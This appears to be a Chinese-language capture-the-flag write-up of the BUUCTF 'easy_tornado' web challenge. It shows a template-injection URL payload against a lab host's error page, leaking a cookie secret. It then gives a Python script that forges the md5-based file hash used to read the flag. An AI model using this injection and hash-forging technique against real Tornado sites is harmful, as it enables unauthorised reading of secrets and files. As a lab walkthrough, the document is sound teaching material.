Buuctf-------WEB之easy_tornado

1.给了三个提示

 

flag在/fllllllllllllag这里

Render+tornado这两个东西,显然是python web

 根据提示flag所在文件夹,加上路径去访问,发现无法访问,被跳转到一个错误页面

 

 到这里,开始怀疑可能是不是存在模板注入

输入的数据都被当作代码执行了,举个例子,{{1+1}}回显会返回2,当然,正常情况很少这样。一般是某个函数或者关键字会被执行

先试试看

翻了一下官网,大概这些函数

 

 挨个试试

第一个escape就被直接执行了

http://9cc83977-4b02-44c3-93d1-b1f6d026f845.node1.buuoj.cn/error?msg={{escape}}

 

这里根据提示,我们需要的是cookie

 参考wp,师傅们这样解释的

 接下来根据hint提示计算hash

#!-*-coding:utf-8 -*-
import hashlib
def md5(s):
    md5 = hashlib.md5()
    md5.update(s)
    return md5.hexdigest()
def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '01d3ae36-9d9e-44f4-b25e-405eda25b369'
    print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
    filehash()

 742267cca0cd702fac6bbaeb947cd61e带进去访问,出flag

 

 Flag:  flag{94b1f826-b51b-4822-986f-bc718c19560b}

参考文章:

http://ch.vksec.com/2017/06/tornado.html

https://blog.csdn.net/weixin_44677409/article/details/94410580

https://tornado.readthedocs.io/en/latest/web.html#tornado.web.RequestHandler

https://www.kancloud.cn/kancloud/python-basic/41712

https://www.cnblogs.com/cimuhuashuimu/p/11544455.html

原文地址:https://www.cnblogs.com/mke2fs/p/11573786.html